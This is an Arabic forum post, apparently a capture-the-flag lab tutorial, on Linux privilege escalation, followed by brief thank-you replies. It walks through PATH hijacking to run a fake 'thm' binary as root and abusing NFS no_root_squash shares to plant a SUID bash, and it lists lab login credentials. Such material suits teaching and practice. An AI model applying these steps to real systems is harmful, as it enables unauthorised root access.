بهاي النقطة سكريبت الـ path ببحث داخل المجلد tmp/ عن اي ملف قابل للتشغيل اسمه thmكود:export PATH=/tmp:$PATH
إنشاء هذا الملف سهل نسبيًا
ببساطة بننسخ الملف bin/bash/ باسم thm داخل المجلد tmp/
عن طريق الامر
بعدها بنرفع صلاحيات ملفنا thm عن طريق الامركود:echo "/bin/bash" > thm
كود:chmod +x thm
يرجى ملاحظة أنه في هذه المرحلة سيتم تشغيلها بصلاحيات المستخدم الخاصة بنا واللي بخلي تصعيد لصلاحيات أعلى ممكن في هذا السياق هو أن سكربت الـ PATH بشتغل بصلاحيات الـ root
لو نجحنا بتشغيل السكربت PATH
بكون الـ thm بنفس الصلاحيات وبما أن الـ PATH بشتغل بصلاحيات الـ root هيك الـ thm بشتغل بصلاحيات الـ root كمان
مشاهدة المرفق 9874
الحل بالخطوات
رفع الصلاحيات بإستخدام الـ NFS
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
الـ Network File Sharing
موضوع تصعيد الصلاحيات ما بقتصر على الوصول الداخلي فقط حتى الـ Shared folders و (الـ remote management interfaces ) واجهات الإدارة عن بُعد زي SSH و Telnet هدول كلهم ممكن يساعدوك توصل للروت على الجهاز المستهدف
ببعض الحالات ممكن تحتاج تستخدم الاثنين مع بعض
مثلا لو لقيت مفتاح SSH الخاص بالروت على الجهاز المستهدف بتقدر تتصل فيه باستخدام SSH بصلاحيات الروت بدل ما تحاول ترفع صلاحيات المستخدم الحالي
في اشي ثاني ممكن تلاقيه هو لما يكون في ( Network Shell ) غير مضبوط هاد بحصل أحيانًا باختبارات اختراق الشبكات لما يكون في نظام نسخ احتياطي للشبكة موجود
تكوين الـ NFS يتم حفظه بملف etc/exports/ الملف هاد يتم إنشاؤه أثناء تثبيت خادم NFS وعادةً ما يمكن قراءته بواسطة المستخدمين
![]()
أهم اشي بالموضوع هاد هو الخيار no_root_squash اللي موجود فوق
افتراضيًا الـ NFS بغير المستخدم الجذري إلى nfsnobody وبمحي أي ملف من التشغيل بصلاحيات الـ root
بحالة اذا كان خيار no_root_squash موجودًا على واحد من المسارات بإمكاننا ننشئ ملف قابل للتنفيذ مع تعيين بت SUID وتشغيله على النظام المستهدف
عن طريق الامر التالي بعرضلنا الـ exported shares من خادم NFS بالعنون ip
كود:showmount -e ip
بنربط واحد من اللي فيه no_root_squash على جهازنا يعني بنخليه زي share بيننا وبين السيرفر ( الملفات اللي بتكون موجوده بـ backups بتكون موجوده على جهازنا هيك وبنعطي الصلاحيات عن طريق o- هون اعطيناه الكتابة والقراءة )![]()
نعمل هاي الخطوات على التحدي الموجود![]()
بعدها بننشئ ملف ونضع بداخله bin/bash/ وبعدها عن طريق gcc بنحول الملف لملف تنفيذي
بنعطي الملف suid على النظام الاساسي ونشغل الملف
وهيك بترتفع صلاحيات المستخدم
تطبيق عملي
Soon
.
.
.
تحدي عملي لرفع الصلاحيات
Soon
.
.
.
تم تنزيل المقال هدية للعيد وسيتم اكماله بالايام المقبلة ان شاء الله
( تم شرح كل المواضيع بالمقال فقط تبقى مثال عملي ويفضل المحاولة به بنفسكم لاختبار مهاراتكم )
و كل عام وانتم بالف خير وصحة وسلامه عيد مبارك على الجميع
وفرجاً قريبا على فلسطين وأهلها
اللهم فرجاً قريباً ونصراً عاجلاً
السمعة:
الله يعطيك الصحه والعافيهانت خليت فيها ستورم؟
انا صرت استحي من الامور اللي بنزلها والله
السمعة:
اجمعين يا رباللهم بارك ما شاء اللهالله يزيدك من علمه
السمعة:
واياكم اجمعينجزاك الله خير : وزادك الله من فضله
السمعة:
زييانت خليت فيها ستورم؟
انا صرت استحي من الامور اللي بنزلها والله
السمعة:
الله يعافيكِما شاء الله!
يعطيك ألف عافية
السمعة:
بأذن الله الله يقوينا ويعينّازيي
فبطلت أنشر من الأساس
لكن إن شاء الله نرجع رجعة قوية
السمعة: